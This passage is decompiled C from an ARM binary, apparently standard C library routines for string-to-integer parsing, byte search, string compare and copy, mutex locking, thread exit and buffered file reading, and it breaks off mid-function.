// 1DF94: using guessed type int dword_1DF94;
// 1DF98: using guessed type int dword_1DF98;
// 1DF9C: using guessed type int dword_1DF9C;
// 1DFA0: using guessed type int dword_1DFA0;
// 1DFA4: using guessed type int dword_1DFA4;
// 1DFA8: using guessed type int dword_1DFA8;
// 1DFAC: using guessed type int dword_1DFAC;
// 1DFB0: using guessed type int dword_1DFB0;
// 1DFB4: using guessed type int dword_1DFB4;
// 1DFB8: using guessed type int dword_1DFB8;
// 1DFBC: using guessed type void *off_1DFBC;
// 1DFC0: using guessed type void *off_1DFC0;
// 1DFC4: using guessed type int dword_1DFC4;
// 1DFC8: using guessed type int dword_1DFC8;
// 1DFD0: using guessed type int dword_1DFD0;
// 1DFD4: using guessed type int dword_1DFD4;
// 1DFD8: using guessed type int dword_1DFD8;
// 1DFDC: using guessed type int dword_1DFDC;
// 1DFE0: using guessed type int dword_1DFE0;
// 1DFE4: using guessed type int dword_1DFE4;
// 1DFE8: using guessed type int dword_1DFE8;
// 1E134: using guessed type int dword_1E134;
// 1E138: using guessed type int dword_1E138;
// 1E13C: using guessed type __int64 qword_1E13C;
// 1E144: using guessed type int dword_1E144;
// 1E148: using guessed type int dword_1E148;
// 1E14C: using guessed type int dword_1E14C;
// 1E150: using guessed type int dword_1E150;
// 1E154: using guessed type int dword_1E154;
// 1E158: using guessed type int dword_1E158;
// 1E15C: using guessed type int dword_1E15C;
//----- (0001E164) --------------------------------------------------------
int __fastcall sub_1E164(int a1, int a2, signed int a3)
{
signed int v3; // r4@1
int v4; // r5@1
int v5; // r7@2
int v6; // r2@10
int v7; // r6@24
__int64 v8; // r0@24
int v9; // r1@25
int v10; // r2@25
int v11; // r2@40
unsigned __int64 v12; // r0@40
__int64 v13; // r0@44
signed int v14; // r3@44
int i; // r2@44
int v16; // r7@45
__int64 v17; // r0@57
__int64 v18; // r0@62
signed __int64 v20; // [sp+8h] [bp-48h]@31
__int64 v21; // [sp+8h] [bp-48h]@38
signed int v22; // [sp+14h] [bp-3Ch]@4
int v23; // [sp+18h] [bp-38h]@1
int v24; // [sp+1Ch] [bp-34h]@1
int v25; // [sp+20h] [bp-30h]@1
signed int v26; // [sp+24h] [bp-2Ch]@47
v3 = a3;
v25 = a2;
v23 = a1;
v4 = a1;
v24 = **(_DWORD **)((char *)off_1E414 + dword_1E418 + 123250);
do
v5 = *(_BYTE *)v4++;
while ( *(_BYTE *)(v24 + v5 + 1) & 8 );
if ( v5 == 45 )
{
v5 = *(_BYTE *)v4++;
v22 = 1;
}
else
{
v22 = 0;
if ( v5 == 43 )
v5 = *(_BYTE *)v4++;
}
if ( a3 != 16 && (unsigned int)a3 > 0 )
goto LABEL_16;
if ( v5 != 48 || (v6 = *(_BYTE *)v4, v6 != 88) && v6 != 120 )
{
if ( (unsigned int)v3 <= 0 )
{
if ( v5 == 48 )
goto LABEL_26;
LABEL_29:
if ( !v22 )
{
v3 = 10;
v7 = 7;
v8 = qword_1E3E4;
goto LABEL_31;
}
v3 = 10;
v7 = -8;
v9 = dword_1E3EC;
v10 = dword_1E3F0;
goto LABEL_33;
}
LABEL_16:
if ( v3 == 8 )
{
LABEL_26:
if ( !v22 )
{
v3 = 8;
v7 = 7;
v8 = qword_1E3D4;
goto LABEL_31;
}
v3 = 8;
v7 = 0;
v9 = dword_1E3DC;
v10 = dword_1E3E0;
goto LABEL_33;
}
if ( v3 > 8 )
{
if ( v3 == 10 )
goto LABEL_29;
if ( v3 == 16 )
goto LABEL_34;
}
else if ( v3 == 4 )
{
if ( !v22 )
{
v7 = 3;
v8 = qword_1E3C4;
LABEL_31:
v20 = v8;
goto LABEL_44;
}
v7 = 0;
v9 = dword_1E3CC;
v10 = dword_1E3D0;
LABEL_33:
v20 = __PAIR__(v10, v9);
LABEL_43:
v7 = -v7;
goto LABEL_44;
}
if ( v22 )
v21 = qword_1E3FC;
else
v21 = qword_1E3F4;
sub_F53C(v21, v3);
v7 = v11;
v12 = sub_F53C(v21, v3);
v20 = v12;
if ( !v22 )
goto LABEL_44;
if ( v7 > 0 )
{
v20 = v12 + 1;
v7 -= v3;
}
goto LABEL_43;
}
v5 = *(_BYTE *)(v4 + 1);
v3 = 16;
v4 += 2;
LABEL_34:
if ( v22 )
{
v7 = 0;
v9 = dword_1E404;
v10 = dword_1E408;
goto LABEL_33;
}
v7 = 15;
v20 = qword_1E40C;
LABEL_44:
v13 = 0LL;
v14 = 0;
for ( i = v5; ; i = *(_BYTE *)v4++ )
{
v16 = i - 48;
if ( (unsigned int)(i - 48) > 9 )
{
if ( !(*(_BYTE *)(v24 + i + 1) & 3) )
break;
v26 = 55;
if ( !(*(_BYTE *)(v24 + i + 1) & 1) )
v26 = 87;
v16 = i - v26;
}
if ( v16 >= v3 )
break;
if ( v14 == -1 )
continue;
if ( v22 )
{
if ( v20 > v13 || v16 > v7 && v13 == v20 )
{
*(_DWORD *)sub_1FD74() = 34;
v14 = -1;
v13 = qword_1E3FC;
continue;
}
LODWORD(v17) = sub_F528(v13, SHIDWORD(v13), v3);
v13 = v17 - v16;
}
else
{
if ( v13 > v20 || v16 > v7 && v13 == v20 )
{
*(_DWORD *)sub_1FD74() = 34;
v14 = -1;
v13 = qword_1E3F4;
continue;
}
LODWORD(v18) = sub_F528(v13, SHIDWORD(v13), v3);
v13 = v16 + v18;
}
v14 = 1;
}
if ( v25 )
{
if ( v14 )
v23 = v4 - 1;
*(_DWORD *)v25 = v23;
}
return v13;
}
// 1E3C4: using guessed type __int64 qword_1E3C4;
// 1E3CC: using guessed type int dword_1E3CC;
// 1E3D0: using guessed type int dword_1E3D0;
// 1E3D4: using guessed type __int64 qword_1E3D4;
// 1E3DC: using guessed type int dword_1E3DC;
// 1E3E0: using guessed type int dword_1E3E0;
// 1E3E4: using guessed type __int64 qword_1E3E4;
// 1E3EC: using guessed type int dword_1E3EC;
// 1E3F0: using guessed type int dword_1E3F0;
// 1E3F4: using guessed type __int64 qword_1E3F4;
// 1E3FC: using guessed type __int64 qword_1E3FC;
// 1E404: using guessed type int dword_1E404;
// 1E408: using guessed type int dword_1E408;
// 1E40C: using guessed type __int64 qword_1E40C;
// 1E414: using guessed type void *off_1E414;
// 1E418: using guessed type int dword_1E418;
//----- (0001E41C) --------------------------------------------------------
int __fastcall sub_1E41C(int a1, int a2, signed int a3)
{
signed int v3; // r5@1
int v4; // r4@1
int v5; // r6@2
int v6; // r2@10
__int64 v7; // r0@15
__int64 v8; // r2@20
int v9; // r1@25
signed int v10; // r2@25
signed int v11; // r3@26
int v12; // r1@26
int v13; // r2@26
int v14; // r7@27
__int64 v15; // r0@38
signed int v17; // [sp+4h] [bp-44h]@29
unsigned __int64 v18; // [sp+8h] [bp-40h]@22
signed int v19; // [sp+14h] [bp-34h]@15
signed int v20; // [sp+18h] [bp-30h]@4
int v21; // [sp+1Ch] [bp-2Ch]@1
int v22; // [sp+20h] [bp-28h]@1
int v23; // [sp+24h] [bp-24h]@1
v3 = a3;
v23 = a2;
v21 = a1;
v4 = a1;
v22 = **(_DWORD **)((char *)off_1E5D4 + dword_1E5D8 + 123946);
do
v5 = *(_BYTE *)v4++;
while ( *(_BYTE *)(v22 + v5 + 1) & 8 );
if ( v5 == 45 )
{
v5 = *(_BYTE *)v4++;
v20 = 1;
}
else
{
v20 = 0;
if ( v5 == 43 )
v5 = *(_BYTE *)v4++;
}
if ( a3 != 16 && (unsigned int)a3 > 0 )
goto LABEL_50;
if ( v5 == 48 )
{
v6 = *(_BYTE *)v4;
if ( v6 == 88 || v6 == 120 )
{
v5 = *(_BYTE *)(v4 + 1);
v3 = 16;
v4 += 2;
LABEL_21:
v19 = 15;
v7 = qword_1E5C4;
goto LABEL_22;
}
}
if ( (unsigned int)v3 > 0 )
{
LABEL_50:
if ( v3 == 10 )
{
v19 = 5;
v8 = qword_1E5BC;
LABEL_24:
v18 = v8;
goto LABEL_26;
}
if ( v3 == 16 )
goto LABEL_21;
if ( v3 != 8 )
{
LODWORD(v18) = sub_F558(-1LL, v3);
HIDWORD(v18) = v9;
sub_F558(-1LL, v3);
v19 = v10;
goto LABEL_26;
}
LABEL_23:
v3 = 8;
v19 = 7;
v8 = qword_1E5CC;
goto LABEL_24;
}
if ( v5 == 48 )
goto LABEL_23;
v19 = 5;
v3 = 10;
v7 = qword_1E5BC;
LABEL_22:
v18 = v7;
LABEL_26:
v11 = 0;
v12 = 0;
v13 = 0;
while ( 1 )
{
v14 = v5 - 48;
if ( (unsigned int)(v5 - 48) > 9 )
{
if ( !(*(_BYTE *)(v22 + v5 + 1) & 3) )
break;
v17 = 55;
if ( !(*(_BYTE *)(v22 + v5 + 1) & 1) )
v17 = 87;
v14 = v5 - v17;
}
if ( v14 >= v3 )
break;
if ( v11 != -1 )
{
if ( __PAIR__((unsigned int)v13, v12) <= v18 && (v14 <= v19 || __PAIR__(v13, v12) != v18) )
{
LODWORD(v15) = sub_F528(v12, v13, v3);
v13 = (unsigned __int64)(v14 + v15) >> 32;
v12 = v14 + v15;
v11 = 1;
}
else
{
*(_DWORD *)sub_1FD74() = 34;
v11 = -1;
v12 = -1;
v13 = -1;
}
}
v5 = *(_BYTE *)v4++;
}
if ( v11 > 0 && v20 )
v12 = -v12;
if ( v23 )
{
if ( v11 )
v21 = v4 - 1;
*(_DWORD *)v23 = v21;
}
return v12;
}
// 1E5BC: using guessed type __int64 qword_1E5BC;
// 1E5C4: using guessed type __int64 qword_1E5C4;
// 1E5CC: using guessed type __int64 qword_1E5CC;
// 1E5D4: using guessed type void *off_1E5D4;
// 1E5D8: using guessed type int dword_1E5D8;
//----- (0001E5DC) --------------------------------------------------------
unsigned int __fastcall sub_1E5DC(unsigned int result, int a2, int a3)
{
int v3; // r2@1
int v4; // r3@4
v3 = result + a3;
while ( result < v3 )
{
if ( *(_BYTE *)result == a2 )
return result;
v4 = result + 1;
if ( v3 <= result + 1 )
break;
if ( *(_BYTE *)(result + 1) == a2 )
return v4;
v4 = result + 2;
if ( v3 <= result + 2 )
break;
if ( *(_BYTE *)(result + 2) == a2 )
return v4;
v4 = result + 3;
if ( v3 <= result + 3 )
break;
if ( *(_BYTE *)(result + 3) == a2 )
return v4;
result += 4;
}
return 0;
}
//----- (0001E61C) --------------------------------------------------------
int __fastcall sub_1E61C(int a1, int a2, int a3)
{
int v3; // r3@2
char *v4; // r4@2
int v5; // r6@3
int v6; // r5@3
int result; // r0@4
if ( a3 )
{
v3 = 0;
v4 = (char *)off_1E648 + 124458;
while ( 1 )
{
v5 = (unsigned __int8)v4[*(_BYTE *)(a1 + v3)];
v6 = (unsigned __int8)v4[*(_BYTE *)(a2 + v3)];
if ( v5 != v6 )
break;
if ( *(_BYTE *)(a1 + v3) )
{
++v3;
if ( a3 != v3 )
continue;
}
goto LABEL_7;
}
result = v5 - v6;
}
else
{
LABEL_7:
result = 0;
}
return result;
}
// 1E648: using guessed type void *off_1E648;
//----- (0001E6A0) --------------------------------------------------------
int __fastcall sub_1E6A0(int a1, int a2, int a3)
{
int v3; // r5@3
int v4; // r3@3
int v5; // r4@5
int v6; // r2@2
int v7; // r3@8
if ( a3 )
{
v5 = a3;
v4 = 0;
while ( 1 )
{
--v5;
if ( !v5 )
break;
v3 = *(_BYTE *)(a2 + v4);
*(_BYTE *)(a1 + v4++) = v3;
if ( !v3 )
{
v6 = a2 + a3 - v5;
return v6 + ~a2;
}
}
v6 = a2 + v4;
*(_BYTE *)(a1 + v4) = 0;
}
else
{
v6 = a2;
}
do
v7 = *(_BYTE *)v6++;
while ( v7 );
return v6 + ~a2;
}
//----- (0001E8C8) --------------------------------------------------------
int __fastcall sub_1E8C8(int a1, int a2, int a3, int a4)
{
int varg_r3; // [sp+14h] [bp-4h]@1
varg_r3 = a4;
return sub_E70C(a1);
}
//----- (0001ECC4) --------------------------------------------------------
signed int sub_1ECC4()
{
return sub_1F158((int)((char *)off_1ECD0 + 126156));
}
// 1ECD0: using guessed type void *off_1ECD0;
//----- (0001ECD4) --------------------------------------------------------
signed int sub_1ECD4()
{
return sub_1F250((unsigned int *)off_1ECE0 + 31543);
}
// 1ECE0: using guessed type void *off_1ECE0;
//----- (0001ED08) --------------------------------------------------------
int sub_1ED08()
{
return *(_DWORD *)(vFFFF0FE0() + 4);
}
//----- (0001ED8C) --------------------------------------------------------
signed int __fastcall sub_1ED8C(int a1, int a2)
{
int v2; // r3@1
signed int result; // r0@2
v2 = a1;
if ( a1 )
{
result = 0;
*(_DWORD *)v2 = 0;
if ( a2 && *(_DWORD *)a2 == 1 )
*(_DWORD *)v2 |= 1u;
else
result = 0;
}
else
{
result = 22;
}
return result;
}
//----- (0001EE30) --------------------------------------------------------
signed int __fastcall sub_1EE30(int a1, int a2)
{
int v3; // r2@4
int v4; // r1@4
int v5; // r2@4
if ( a1 )
{
if ( !a2 )
{
*(_DWORD *)a1 = 0;
return 0;
}
v3 = *(_DWORD *)a2;
v4 = *(_DWORD *)a2 & 0xF;
v5 = v3 & 0x10;
if ( v5 )
v5 = 0x2000;
if ( v4 == 1 )
{
v5 |= 0x4000u;
goto LABEL_9;
}
if ( v4 == 2 )
{
v5 |= 0x8000u;
goto LABEL_9;
}
if ( !v4 )
{
LABEL_9:
*(_DWORD *)a1 = v5;
return 0;
}
}
return 22;
}
//----- (0001EE94) --------------------------------------------------------
int __fastcall sub_1EE94(int result, int a2)
{
signed int v2; // r3@1
*(_DWORD *)(result + 4) = a2;
*(_DWORD *)(a2 + 56) = result;
*(_DWORD *)result = result;
v2 = 2;
do
*(_DWORD *)(result + 4 * v2++) = 0;
while ( v2 != 64 );
return sub_E80C(result);
}
//----- (0001EEBC) --------------------------------------------------------
void sub_1EEBC()
{
sub_DB7C();
}
//----- (0001EECC) --------------------------------------------------------
void __fastcall sub_1EECC(unsigned int *a1)
{
unsigned int *v1; // r5@1
int v2; // r4@1
int v3; // r0@1
v1 = a1;
v2 = *a1 & 0x2000;
sub_DB44();
if ( v3 )
{
while ( sub_DB74(v2 | 2, v1) != v2 )
sub_1EEBC();
}
}
//----- (0001EF28) --------------------------------------------------------
void sub_1EF28()
{
sub_DB7C();
}
//----- (0001EF38) --------------------------------------------------------
signed int __fastcall sub_1EF38(int a1)
{
int v1; // r4@1
int v2; // r6@2
int v3; // r0@3
signed int v4; // r0@3
signed int v5; // r5@3
int v6; // r12@4
signed int result; // r0@4
v1 = a1;
if ( a1 )
{
v2 = *(_DWORD *)a1 & 1;
do
{
v3 = *(_DWORD *)v1;
sub_DB44();
v5 = v4;
}
while ( v4 );
v6 = *(_DWORD *)v1;
sub_1EF28();
result = v5;
}
else
{
result = 22;
}
return result;
}
//----- (0001EF90) --------------------------------------------------------
void __fastcall sub_1EF90(int a1)
{
int v1; // r5@1
int v2; // r4@1
int v3; // r4@1
int v4; // r0@1
v1 = a1;
v2 = *(_DWORD *)a1;
sub_DAEC(a1);
v3 = v2 & 0x2000;
if ( v4 != (v3 | 1) )
{
*(_DWORD *)v1 = v3;
sub_1EF28();
}
}
//----- (0001EFCC) --------------------------------------------------------
void __fastcall sub_1EFCC(int a1)
{
int v1; // r5@2
int v2; // r4@2
int v3; // r6@5
int v4; // r7@7
int v5; // r4@9
int v6; // [sp+4h] [bp-1Ch]@7
if ( a1 )
{
v1 = *(_DWORD *)a1 & 0xC000;
v2 = *(_DWORD *)a1 & 0x2000;
if ( v1 )
{
v6 = a1;
v4 = *(_DWORD *)(sub_1ED08() + 32);
if ( v4 == *(_DWORD *)v6 >> 16 )
{
if ( v1 != 0x8000 )
{
v5 = (int)((char *)off_1F0DC + 127104);
sub_1EECC((unsigned int *)off_1F0DC + 31776);
*(_DWORD *)v6 = (*(_DWORD *)v6 + 4) & 0x1FFC | *(_DWORD *)v6 & 0xFFFFE003;
sub_1EF90(v5);
}
}
else
{
v3 = (int)((char *)off_1F0D8 + 127012);
sub_1EECC((unsigned int *)off_1F0D8 + 31753);
if ( *(_DWORD *)v6 == (v2 | v1) )
{
*(_DWORD *)v6 |= 1 | (v4 << 16);
sub_1EF90(v3);
}
else
{
sub_1EF90(v3);
}
}
}
else
{
sub_DB44();
}
}
}
// 1F0D8: using guessed type void *off_1F0D8;
// 1F0DC: using guessed type void *off_1F0DC;
//----- (0001F0E0) --------------------------------------------------------
void __fastcall sub_1F0E0(int a1)
{
int v1; // r4@1
int v2; // r0@1
v1 = a1;
sub_1EFCC(a1);
if ( !v2 )
*(_DWORD *)v1 = dword_1F0FC;
}
// 1F0FC: using guessed type int dword_1F0FC;
//----- (0001F158) --------------------------------------------------------
signed int __fastcall sub_1F158(int a1)
{
int v1; // r6@1
int v2; // r7@2
int v3; // r4@2
int v4; // r5@3
int v5; // r5@3
int v6; // r0@3
signed int result; // r0@4
int v8; // r8@9
int v9; // r10@9
v1 = a1;
if ( a1 )
{
v2 = *(_DWORD *)a1;
v3 = *(_DWORD *)a1 & 0xC000;
if ( !v3 )
{
v4 = *(_DWORD *)a1;
sub_DAEC(a1);
v5 = v4 & 0x2000;
if ( v6 != (v5 | 1) )
{
*(_DWORD *)v1 = v5;
sub_1EF28();
return 0;
}
return 0;
}
if ( *(_DWORD *)(sub_1ED08() + 32) == *(_DWORD *)a1 >> 16 )
{
v8 = (int)((char *)off_1F24C + 127456);
sub_1EECC((unsigned int *)off_1F24C + 31864);
v9 = *(_DWORD *)v1;
if ( *(_DWORD *)v1 & 0x1FFC )
{
*(_DWORD *)v1 = v9 - 4;
sub_1EF90(v8);
result = 0;
}
else
{
*(_DWORD *)v1 = v2 & 0x2000 | v3;
sub_1EF90(v8);
if ( (v9 & 3) != 2 )
return 0;
sub_1EF28();
result = 0;
}
}
else
{
result = 1;
}
}
else
{
result = 22;
}
return result;
}
// 1F24C: using guessed type void *off_1F24C;
//----- (0001F250) --------------------------------------------------------
signed int __fastcall sub_1F250(unsigned int *a1)
{
unsigned int *v1; // r4@1
unsigned int v2; // r7@2
int v3; // r6@2
int v4; // r5@3
int v5; // r0@3
signed int result; // r0@6
int v7; // r8@8
int v8; // r6@9
int v9; // r5@9
signed int i; // r9@9
int v11; // r10@15
int v12; // r5@19
v1 = a1;
if ( !a1 )
return 22;
v2 = *a1;
v3 = *a1 & 0xC000;
if ( v3 )
{
v7 = *(_DWORD *)(sub_1ED08() + 32);
if ( v7 != *v1 >> 16 )
{
v8 = v2 & 0x2000 | v3;
v9 = (int)((char *)off_1F3C4 + 127732);
for ( i = 1; ; i = 2 )
{
sub_1EECC((unsigned int *)v9);
if ( *v1 == v8 )
{
*v1 = v8 | (v7 << 16) | i;
sub_1EF90(v9);
return 0;
}
if ( (*v1 & 3) == 1 )
{
v11 = *v1 ^ 3;
*v1 = v11;
sub_1EF90(v9);
if ( v8 == v11 )
return 0;
}
else
{
sub_1EF90(v9);
}
sub_1EEBC();
}
}
if ( v3 == 0x8000 )
{
result = 35;
}
else
{
v12 = (int)((char *)off_1F3C8 + 127884);
sub_1EECC((unsigned int *)off_1F3C8 + 31971);
*v1 = (*v1 + 4) & 0x1FFC | *v1 & 0xFFFFE003;
sub_1EF90(v12);
result = 0;
}
}
else
{
v4 = *a1 & 0x2000;
sub_DB44();
if ( v5 )
{
while ( v4 != sub_DB74(v4 | 2, v1) )
sub_1EEBC();
}
result = 0;
}
return result;
}
// 1F3C4: using guessed type void *off_1F3C4;
// 1F3C8: using guessed type void *off_1F3C8;
//----- (0001F524) --------------------------------------------------------
signed int __fastcall sub_1F524(int a1, int a2, char *a3, int a4)
{
char *v4; // lr@1
int v5; // r4@1
int v6; // r5@1
int v7; // r6@1
int v8; // r12@2
int v9; // r0@4
int v10; // lr@4
int v11; // r1@4
int v12; // r2@4
int v13; // r3@4
int v14; // r12@4
int v15; // r0@4
int v16; // r1@4
int v17; // r1@4
void *v18; // r5@5
int v19; // r0@5
int v20; // r5@5
void *v21; // r12@7
int v23; // ST04_4@10
v4 = a3;
v5 = a1;
v6 = a2;
v7 = a4;
if ( a3 )
{
v8 = a1 + 8;
}
else
{
v8 = a1 + 8;
v4 = (char *)off_1F5F8 + 128496;
}
v9 = *(_DWORD *)v4;
v11 = *((_DWORD *)v4 + 1);
v12 = *((_DWORD *)v4 + 2);
v13 = *((_DWORD *)v4 + 3);
v10 = (int)(v4 + 16);
*(_DWORD *)v8 = v9;
*(_DWORD *)(v8 + 4) = v11;
*(_DWORD *)(v8 + 8) = v12;
*(_DWORD *)(v8 + 12) = v13;
v14 = v8 + 16;
v15 = *(_DWORD *)v10;
v16 = *(_DWORD *)(v10 + 4);
*(_DWORD *)(v5 + 32) = v6;
*(_DWORD *)v14 = v15;
*(_DWORD *)(v14 + 4) = v16;
v17 = *(_DWORD *)(v5 + 24);
*(_DWORD *)(v5 + 12) = v7;
if ( v17 )
{
v23 = *(_DWORD *)(v5 + 28);
sub_E7CC(v6);
}
v18 = off_1F5F0;
sub_1ED8C(v5 + 36, 0);
v18 = (char *)v18 + 128384;
*(_DWORD *)(v5 + 52) = 0;
*(_DWORD *)(v5 + 40) = 0;
sub_1F250((unsigned int *)v18 + 69);
v19 = *((_DWORD *)v18 + 70);
v20 = (int)((char *)v18 + 280);
*(_DWORD *)(v5 + 4) = v20;
if ( v19 )
*(_DWORD *)(v19 + 4) = v5;
v21 = off_1F5F4;
if ( v19 )
v20 = *(_DWORD *)(v5 + 4);
*(_DWORD *)v5 = v19;
*(_DWORD *)v20 = v5;
return sub_1F158((int)((char *)v21 + 128716));
}
// 1F5F0: using guessed type void *off_1F5F0;
// 1F5F4: using guessed type void *off_1F5F4;
// 1F5F8: using guessed type void *off_1F5F8;
//----- (0001F840) --------------------------------------------------------
int __fastcall sub_1F840(int a1)
{
int v1; // r0@1
int v2; // r3@1
int v3; // r4@2
int v4; // r0@3
char *v5; // r4@4
signed int v6; // r12@4
char *v7; // r9@4
char v8; // zf@4
char *v9; // r7@6
int v10; // r5@11
int v11; // r6@11
int v12; // r11@11
signed int v13; // r4@11
char v14; // r0@13
int v15; // r12@13
int v16; // r10@14
void (__fastcall *v17)(_DWORD); // r8@14
char v18; // zf@14
char *v19; // r4@22
int v20; // r4@23
int v21; // r3@23
int v22; // r3@23
int v24; // r0@26
int v25; // [sp+4h] [bp-4Ch]@10
signed int v26; // [sp+8h] [bp-48h]@10
int v27; // [sp+Ch] [bp-44h]@1
int v28; // [sp+10h] [bp-40h]@4
int v29; // [sp+18h] [bp-38h]@1
int v30; // [sp+1Ch] [bp-34h]@1
int v31; // [sp+20h] [bp-30h]@1
int v32; // [sp+24h] [bp-2Ch]@1
v29 = a1;
v1 = sub_1ED08();
v2 = *(_DWORD *)(v1 + 52);
v27 = v1;
v31 = *(_DWORD *)(v1 + 12);
v30 = *(_DWORD *)(v1 + 8) & 2;
v32 = *(_DWORD *)(v1 + 16);
if ( v2 )
{
v3 = v1;
do
{
v4 = *(_DWORD *)(v2 + 8);
*(_DWORD *)(v3 + 52) = *(_DWORD *)v2;
(*(void (__fastcall **)(int))(v2 + 4))(v4);
v2 = *(_DWORD *)(v3 + 52);
}
while ( v2 );
}
v5 = (char *)off_1FAA4 + 129204;
v28 = vFFFF0FE0();
sub_1F250((unsigned int *)v5 + 1);
v6 = *((_DWORD *)v5 + 2);
v7 = (char *)off_1FAA8 + 129236;
v8 = v6 == 0;
if ( !v6 )
v6 = 1;
v9 = (char *)off_1FAA8 + 129236;
if ( v8 )
*((_DWORD *)v5 + 2) = v6;
if ( v8 )
*((_DWORD *)v5 + 3) = v6 + 30;
v26 = 4;
v25 = (int)(v9 + 4);
do
{
v10 = v28;
v11 = (int)(v7 + 8);
v12 = 0;
v13 = 3;
do
{
while ( 1 )
{
v14 = v13 & 0x1F;
v15 = (int)&v9[4 * (v13++ >> 5)];
if ( *(_DWORD *)(v15 + 12) & (1 << v14) )
{
v16 = *(_DWORD *)(v10 + 12);
v17 = *(void (__fastcall **)(_DWORD))(v11 + 24);
v18 = v17 == 0;
if ( v17 )
v18 = v16 == 0;
if ( !v18 )
break;
}
v10 += 4;
v11 += 4;
if ( v13 == 64 )
goto LABEL_20;
}
*(_DWORD *)(v10 + 12) = 0;
sub_1F158(v25);
v17(v16);
sub_1F250((unsigned int *)v25);
++v12;
v10 += 4;
if ( !*((_DWORD *)v9 + 2) )
{
*((_DWORD *)v9 + 3) = 31;
*((_DWORD *)v9 + 2) = 1;
}
v11 += 4;
}
while ( v13 != 64 );
LABEL_20:
if ( !v12 )
break;
--v26;
}
while ( v26 );
v19 = (char *)off_1FAAC + 129472;
sub_1F158((int)((char *)off_1FAAC + 129476));
if ( *(_DWORD *)(v27 + 8) & 1 )
{
v20 = (int)(v19 + 276);
sub_1F250((unsigned int *)v20);
v21 = *(_DWORD *)v27;
*(_DWORD *)(v21 + 4) = *(_DWORD *)(v27 + 4);
**(_DWORD **)(v27 + 4) = v21;
sub_1F158(v20);
if ( *(_DWORD *)(v27 + 48) )
{
*(_DWORD *)(v27 + 48) = 0;
sub_22D08(v27);
}
if ( !v30 )
return sub_E83C(v31, v32, v29, v22);
}
else
{
sub_1F250((unsigned int *)v19 + 69);
v24 = *(_DWORD *)(v27 + 40);
*(_DWORD *)(v27 + 44) = v29;
if ( v24 > 0 )
sub_1EF38(v27 + 36);
else
*(_DWORD *)(v27 + 40) = -1;
sub_1F158((int)((char *)off_1FAB0 + 129924));
if ( !v30 )
return sub_E83C(v31, v32, v29, v22);
}
return sub_E5FC(v29);
}
// 1FAA4: using guessed type void *off_1FAA4;
// 1FAA8: using guessed type void *off_1FAA8;
// 1FAAC: using guessed type void *off_1FAAC;
// 1FAB0: using guessed type void *off_1FAB0;
// 22D08: using guessed type int __fastcall sub_22D08(_DWORD);
//----- (0001FAB4) --------------------------------------------------------
int __fastcall sub_1FAB4(int (__fastcall *a1)(_DWORD), int a2, unsigned int *a3)
{
int v3; // r4@1
int (__fastcall *v4)(_DWORD); // r5@1
int v5; // r6@1
int v6; // r0@1
v3 = (int)a3;
v4 = a1;
v5 = a2;
sub_1F250(a3);
sub_1F0E0(v3);
sub_1EE94(v3, *(_DWORD *)(v3 + 4));
v6 = v4(v5);
return sub_1F840(v6);
}
//----- (0001FD74) --------------------------------------------------------
int sub_1FD74()
{
return off_1FD80() + 8;
}
// 1FD80: using guessed type int (*off_1FD80)(void);
//----- (0001FD84) --------------------------------------------------------
int sub_1FD84()
{
return (***(int (****)(void))((char *)off_1FD98 + dword_1FD9C + 130446))();
}
// 1FD98: using guessed type void *off_1FD98;
// 1FD9C: using guessed type int dword_1FD9C;
//----- (0001FDA0) --------------------------------------------------------
int sub_1FDA0()
{
return (*(int (**)(void))(**(_DWORD **)((char *)off_1FDB4 + dword_1FDB8 + 130474) + 4))();
}
// 1FDB4: using guessed type void *off_1FDB4;
// 1FDB8: using guessed type int dword_1FDB8;
//----- (0001FDD8) --------------------------------------------------------
int sub_1FDD8()
{
return (*(int (**)(void))(**(_DWORD **)((char *)off_1FDEC + dword_1FDF0 + 130530) + 12))();
}
// 1FDEC: using guessed type void *off_1FDEC;
// 1FDF0: using guessed type int dword_1FDF0;
//----- (00020060) --------------------------------------------------------
signed int __fastcall sub_20060(int a1, unsigned int a2, unsigned int a3, int a4)
{
unsigned int v4; // r5@1
char *v5; // r6@1
int v6; // r4@1
int v7; // r7@5
__int16 v8; // r0@5
__int16 v9; // r3@9
__int16 v10; // r3@15
int v11; // r0@17
int v12; // r6@23
int v13; // r0@24
__int16 v14; // r3@24
signed __int16 v15; // r2@25
int v16; // r3@34
int v17; // r1@34
int v18; // r7@35
int v20; // [sp+4h] [bp-24h]@1
int v21; // [sp+8h] [bp-20h]@34
unsigned int v22; // [sp+Ch] [bp-1Ch]@1
v4 = a3;
v5 = (char *)off_201A0 + 131184;
v22 = a2;
v6 = a4;
v20 = a2 * a3;
if ( !(a2 * a3) )
return 0;
if ( *(_DWORD *)(a4 + 4) < 0 )
*(_DWORD *)(a4 + 4) = 0;
v7 = a1;
v8 = *(_WORD *)(a4 + 12);
if ( !(v8 & 2) || *(_DWORD *)(a4 + 60) )
{
v12 = a2 * a3;
while ( 1 )
{
v16 = *(_DWORD *)(v6 + 4);
v17 = *(_DWORD *)v6;
v21 = v16;
if ( v12 <= (unsigned int)v16 )
break;
sub_DE6C(v7, v17, v16, v16);
*(_DWORD *)v6 += v21;
v12 -= v21;
if ( sub_190DC(v6) )
goto LABEL_32;
v7 += v21;
}
sub_DE6C(v7, v17, v12, v16);
v18 = *(_DWORD *)v6 + v12;
*(_DWORD *)(v6 + 4) -= v12;
*(_DWORD *)v6 = v18;
}
else
{
if ( !**(_DWORD **)&v5[dword_201A4] )
sub_18D40();
v9 = *(_WORD *)(v6 + 12);
*(_DWORD *)(v6 + 4) = 0;
if ( v9 & 0x20 )
return -1;
if ( v9 & 4 )
{
v11 = **(_DWORD **)(v6 + 48);
if ( v11 )
{
if ( v11 != v6 + 64 )
sub_1FDA0();
**(_DWORD **)(v6 + 48) = 0;
}
}
else
{
if ( !(v9 & 0x10) )
{
*(_DWORD *)sub_1FD74() = 9;
*(_WORD *)(v6 + 12) |= 0x40u;
return -1;
}
if ( v9 & 8 )
{
if ( sub_18C08(v6) )
return -1;
v10 = *(_WORD *)(v6 + 12);
*(_DWORD *)(v6 + 8) = 0;
*(_DWORD *)(v6 + 24) = 0;
*(_WORD *)(v6 + 12) = v10 & 0xFFF7;
}
*(_WORD *)(v6 + 12) |= 4u;
}
if ( *(_WORD *)(v6 + 12) << 30 )
sub_19008((int (__fastcall *)(_DWORD))((char *)off_201A8 + 131344));
v12 = v20;
while ( 1 )
{
v13 = (*(int (__fastcall **)(_DWORD, int, int))(v6 + 36))(*(_DWORD *)(v6 + 28), v7, v12);
v14 = *(_WORD *)(v6 + 12) & (unsigned __int16)off_201AC;
*(_WORD *)(v6 + 12) = v14;
if ( v13 <= 0 )
break;
